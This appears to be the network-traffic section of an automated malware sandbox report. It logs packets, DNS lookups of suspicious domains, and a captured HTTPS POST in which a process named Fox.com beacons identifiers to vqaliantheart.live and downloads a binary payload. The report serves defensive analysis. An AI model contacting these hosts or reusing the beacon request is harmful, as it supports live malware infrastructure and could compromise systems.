Apr 12, 2025 02:26:57.430588007 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.430902958 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.477507114 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.487936974 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.487936974 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.488193035 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.995651960 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.995706081 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.995739937 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.995757103 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.995774031 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.995831966 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.995837927 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.995879889 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.995913029 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.995922089 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.995929003 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.995960951 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.995968103 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.996292114 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.996330976 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.996335983 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.040000916 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.040029049 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.086865902 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.114118099 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.114651918 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.114686012 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.114708900 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.114718914 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.114762068 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.114772081 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.114779949 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.114814043 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.114820957 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.115544081 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.115586042 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.115591049 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.115863085 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.115892887 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.115902901 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.115907907 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.115943909 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.116368055 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.116425037 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.116457939 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.116467953 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.116473913 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.116517067 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.116520882 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.117399931 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.117438078 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.117459059 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.117464066 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.117497921 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.117542028 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.117585897 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.130727053 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.130743027 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.130778074 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.130784035 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.782515049 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.782598972 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:58.786037922 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.786365986 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:58.786386013 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:59.044735909 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:59.045003891 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:59.046215057 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:59.046237946 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:59.046578884 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:59.047816992 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:59.047980070 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:59.048024893 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:59.048089981 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:59.048100948 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:59.709562063 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:59.709875107 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:59.709937096 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:59.709937096 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:59.852026939 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:59.852119923 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:59.852281094 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:59.852758884 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:59.852801085 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:00.126137018 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:00.126270056 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:00.127437115 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:00.127466917 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:00.128379107 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:00.130098104 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:00.130264044 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:00.130310059 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:01.197268009 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:01.197411060 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:01.197477102 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:01.197563887 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:01.197586060 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:01.314600945 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:01.314657927 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:01.314780951 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:01.315095901 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:01.315135956 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:01.575984001 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:01.576067924 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:01.577357054 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:01.577373981 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:01.577712059 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:01.578839064 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:01.578970909 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:01.579010963 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:01.579067945 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:01.579077959 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:02.218641996 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:02.218771935 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:02.218835115 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:02.252181053 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:02.252219915 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:03.807028055 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:03.807073116 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:03.807164907 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:03.807445049 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:03.807456970 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:04.077353954 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:04.077461004 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:04.078711987 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:04.078720093 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:04.079643011 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:04.080756903 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:04.080862999 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:04.080924988 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:04.637505054 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:04.637716055 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:04.637799978 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:04.695044041 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:04.695060968 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:05.029661894 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:05.029720068 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:05.029853106 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:05.030133009 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:05.030142069 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:05.285537004 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:05.285701036 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:05.287020922 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:05.287033081 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:05.287270069 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:05.288563013 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:05.288724899 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:05.288753986 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:05.831887960 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:05.831970930 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:05.832118988 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:05.832160950 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:05.832179070 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.123891115 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.123945951 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.124129057 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.124320030 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.124351025 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.389044046 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.389151096 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.390223026 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.390253067 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.391171932 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.392194033 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.392806053 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.392860889 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.392992020 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.393045902 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.393189907 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.393368006 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.393532038 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.393577099 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.393769026 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.393821955 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.394105911 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.394167900 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.394193888 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.394226074 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.394371986 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.394422054 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.394462109 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.394489050 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.394576073 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.394617081 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.394668102 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.394692898 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:06.394776106 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.394861937 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.394916058 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:06.440278053 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.033941031 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.034070015 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.034147978 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.034272909 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.034315109 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.038811922 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.038861990 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.038976908 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.039344072 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.039377928 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.292654037 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.292766094 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.294394016 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.294403076 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.294728041 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.295831919 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.295861006 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.295922041 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.866559982 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.866647959 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.866780996 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.867007017 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.867054939 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:08.867089033 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:27:08.867105007 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 12, 2025 02:27:09.016503096 CEST	49733	443	192.168.2.4	89.169.54.153
Apr 12, 2025 02:27:09.016566038 CEST	443	49733	89.169.54.153	192.168.2.4
Apr 12, 2025 02:27:09.016650915 CEST	49733	443	192.168.2.4	89.169.54.153
Apr 12, 2025 02:27:09.016932964 CEST	49733	443	192.168.2.4	89.169.54.153
Apr 12, 2025 02:27:09.016968012 CEST	443	49733	89.169.54.153	192.168.2.4
Apr 12, 2025 02:27:09.228646040 CEST	443	49733	89.169.54.153	192.168.2.4
Apr 12, 2025 02:27:09.229547977 CEST	49734	443	192.168.2.4	89.169.54.153
Apr 12, 2025 02:27:09.229604006 CEST	443	49734	89.169.54.153	192.168.2.4
Apr 12, 2025 02:27:09.229665995 CEST	49734	443	192.168.2.4	89.169.54.153
Apr 12, 2025 02:27:09.230460882 CEST	49734	443	192.168.2.4	89.169.54.153
Apr 12, 2025 02:27:09.230479956 CEST	443	49734	89.169.54.153	192.168.2.4
Apr 12, 2025 02:27:09.457062006 CEST	443	49734	89.169.54.153	192.168.2.4
Apr 12, 2025 02:27:09.458239079 CEST	49735	443	192.168.2.4	89.169.54.153
Apr 12, 2025 02:27:09.458293915 CEST	443	49735	89.169.54.153	192.168.2.4
Apr 12, 2025 02:27:09.458360910 CEST	49735	443	192.168.2.4	89.169.54.153
Apr 12, 2025 02:27:09.459609032 CEST	49735	443	192.168.2.4	89.169.54.153
Apr 12, 2025 02:27:09.459667921 CEST	443	49735	89.169.54.153	192.168.2.4
Apr 12, 2025 02:27:09.459724903 CEST	49735	443	192.168.2.4	89.169.54.153

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 12, 2025 02:26:25.482346058 CEST	63645	53	192.168.2.4	1.1.1.1
Apr 12, 2025 02:26:25.644413948 CEST	53	63645	1.1.1.1	192.168.2.4
Apr 12, 2025 02:26:57.035474062 CEST	57963	53	192.168.2.4	1.1.1.1
Apr 12, 2025 02:26:57.147907019 CEST	53	57963	1.1.1.1	192.168.2.4
Apr 12, 2025 02:27:08.871388912 CEST	55751	53	192.168.2.4	1.1.1.1
Apr 12, 2025 02:27:09.015693903 CEST	53	55751	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 12, 2025 02:26:25.482346058 CEST	192.168.2.4	1.1.1.1	0x48bf	Standard query (0)	SUOnlaSwBqeQImGvxTLKMBOcpRJpX.SUOnlaSwBqeQImGvxTLKMBOcpRJpX	A (IP address)	IN (0x0001)	false
Apr 12, 2025 02:26:57.035474062 CEST	192.168.2.4	1.1.1.1	0xfdf5	Standard query (0)	vqaliantheart.live	A (IP address)	IN (0x0001)	false
Apr 12, 2025 02:27:08.871388912 CEST	192.168.2.4	1.1.1.1	0x7975	Standard query (0)	h1.mockupeastcoast.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 12, 2025 02:26:25.644413948 CEST	1.1.1.1	192.168.2.4	0x48bf	Name error (3)	SUOnlaSwBqeQImGvxTLKMBOcpRJpX.SUOnlaSwBqeQImGvxTLKMBOcpRJpX	none	none	A (IP address)	IN (0x0001)	false
Apr 12, 2025 02:26:57.147907019 CEST	1.1.1.1	192.168.2.4	0xfdf5	No error (0)	vqaliantheart.live		104.21.5.162	A (IP address)	IN (0x0001)	false
Apr 12, 2025 02:26:57.147907019 CEST	1.1.1.1	192.168.2.4	0xfdf5	No error (0)	vqaliantheart.live		172.67.133.158	A (IP address)	IN (0x0001)	false
Apr 12, 2025 02:27:09.015693903 CEST	1.1.1.1	192.168.2.4	0x7975	No error (0)	h1.mockupeastcoast.shop		89.169.54.153	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

vqaliantheart.live

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49725	104.21.5.162	443	7956	C:\Users\user\AppData\Local\Temp\306846\Fox.com

Timestamp	Bytes transferred	Direction	Data
2025-04-12 00:26:57 UTC	267	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 85 Host: vqaliantheart.live
2025-04-12 00:26:57 UTC	85	OUT	Data Raw: 75 69 64 3d 62 61 37 33 35 35 37 37 37 33 39 32 61 30 32 36 37 38 61 39 37 39 34 62 32 63 64 35 61 64 38 65 65 64 36 36 64 66 39 39 33 64 39 34 26 63 69 64 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 Data Ascii: uid=ba7355777392a02678a9794b2cd5ad8eed66df993d94&cid=637b55279021aab33278188cfa638397
2025-04-12 00:26:57 UTC	786	IN	HTTP/1.1 200 OK Date: Sat, 12 Apr 2025 00:26:57 GMT Content-Type: application/octet-stream Content-Length: 38684 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qSAN8xyNV3Y2nmDKedhhVmnXRvoestA2r2G3zqSKJfK7IzRrxg71FZQNW299cyTTe0Pcksd%2FXQJhktcMC3MkCUBATBJ5WpftGBjXzuBz8vy0M3X9lqtVVhHK10dbL8NkhbYoUmE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee985e3a10d63d-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123072&min_rtt=122977&rtt_var=26084&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=988&delivery_rate=32756&cwnd=245&unsent_bytes=0&cid=64505fb6d0251ce3&ts=589&x=0"
2025-04-12 00:26:57 UTC	583	IN	Data Raw: 3a ad 36 e0 c3 75 7c ca fd 7d 54 6d 67 52 5b 34 23 4a 46 02 b9 86 81 94 34 72 62 8b 01 20 9b 38 1d b2 6d eb 93 f9 c2 cf b7 b0 a1 f8 2f 92 04 00 b5 fa a2 e8 d5 83 63 19 6b 91 59 41 27 d4 1f f8 22 55 f6 6a 7d d8 75 de 13 c7 d4 15 c5 c3 00 5c ec 72 65 0c a2 31 c6 eb b4 bb 65 0c 71 6d f7 ff b7 b9 d3 c7 80 1f ac 6e 22 c3 30 a0 54 9f b7 9d f8 57 b2 ca ba 9b cb cb e4 50 e3 7b 43 55 16 4b fc 7b 2f 3d 95 e7 a7 69 9e 6d 4c 8a 62 2d f1 d1 51 ee 96 a1 a7 92 76 7e 8e 40 e9 ab ce c6 90 c8 f1 44 bc 3b e4 f3 4e ea 76 ee 0e 7b be 8d 9b 53 6b aa c1 02 5b 1e f6 8b 1e 51 7d a4 82 48 dd aa 6c 6c 50 b9 71 c5 37 f4 f3 94 33 ca 44 f2 0d 60 05 be 32 78 12 ed f6 cc 06 39 42 c5 ca 20 b6 45 8f 08 7a a0 35 7f 41 be 11 f4 bb 73 97 7d 20 52 4b 1a e4 e5 b6 b4 5e d1 57 5a be 2d 1d 70 bf Data Ascii: :6u\|}TmgR[4#JF4rb 8m/ckYA'"Uj}u\re1eqmn"0TWP{CUK{/=imLb-Qv~@D;Nv{Sk[Q}HllPq73D`2x9B Ez5As} RK^WZ-p
2025-04-12 00:26:57 UTC	1369	IN	Data Raw: c0 58 c3 fa 71 0d 74 28 93 92 94 8f 03 82 f9 fb 7f b8 1d ef 43 10 cc 67 85 9c dc 5e 39 03 02 ee 5c 2f 61 c1 7c 70 32 69 33 1c 3d 38 7f e2 44 19 c1 d4 29 f3 53 be a5 5c a1 0e 33 c5 13 73 cd b3 c4 02 0f 4e 1e ae 59 f9 33 81 f4 3b e2 96 ef f0 7a 8b de fb f8 45 48 4b 4a 95 82 db ef 7c 8e bc 5e 3c f9 53 75 60 0b bb b4 ba a0 82 4e a4 7b a7 4b c1 f9 73 c4 3a a7 ea 83 ba de 6f 5c 0e d4 f6 02 c3 88 d5 73 14 43 53 e8 52 e7 3a f7 0d ba 62 f1 b0 04 44 b9 04 30 a4 fe 63 a1 68 8a 4a 3e 3f 6f 04 4c 87 18 4a 0b 32 c4 59 de 89 a2 92 c5 87 2c b4 92 de 13 12 4c de 5a c6 9a 50 56 84 85 19 ee d5 2f 86 23 fc a2 f7 9a 67 6b f7 0f 0c 4f 1d 13 65 c7 79 db 4c 87 20 0f 6d f2 d4 35 82 01 84 ac b6 54 6b e7 93 8d c5 94 cb 88 83 77 71 ac 15 f3 8b 93 75 9f 3e 7c 92 12 47 7f 6d 8d 45 c3 Data Ascii: Xqt(Cg^9\/a\|p2i3=8D)S\3sNY3;zEHKJ\|^<Su`N{Ks:o\sCSR:bD0chJ>?oLJ2Y,LZPV/#gkOeyL m5Tkwqu>\|GmE
2025-04-12 00:26:57 UTC	1369	IN	Data Raw: 79 7f a9 82 3c 95 c3 7b 7d 06 f2 68 c6 09 09 62 3a a9 d3 e3 f3 a7 0a 5a 8b cb bc d3 fb 94 3e 90 6c e5 19 9b 14 c8 11 bc f7 12 b7 88 05 30 a4 e1 0d cc 05 b2 96 a6 02 28 c1 c3 d5 c9 ec 4c 66 0b 04 45 4f e5 2c bf e7 20 32 ce 9f 8c b2 0b 7c 2e e0 2f 5a c3 89 4c 4f 62 18 3c 42 1c c8 41 03 e3 d6 c1 d4 5b 25 47 5a e2 29 98 09 03 58 66 68 9c f4 af 0f d7 d9 db 37 16 0b 1b c4 7f a0 ca 40 13 8e a0 46 99 76 72 af 52 92 cb 1e 99 2a a6 9c ea b6 0f 0c 9e 2f e8 27 62 a7 88 0f 1b 5b 77 57 a3 4a 97 76 e4 78 ce 4b 1b f2 de 9b be 79 3f be f4 f4 95 96 93 ca 88 6f 26 bd de 98 0c 68 79 e8 6f 48 7d 2f 74 2f f1 72 d9 f2 68 a0 03 8a cf 4a fb 72 29 a5 55 4c 80 23 7b d7 c6 16 1c 55 be 86 7d ed f9 5b 21 6f 12 f5 03 06 6d 01 52 54 a8 40 17 52 d2 5b f6 22 58 47 c2 a1 c4 8c 79 eb 4d b2 Data Ascii: y<{}hb:Z>l0(LfEO, 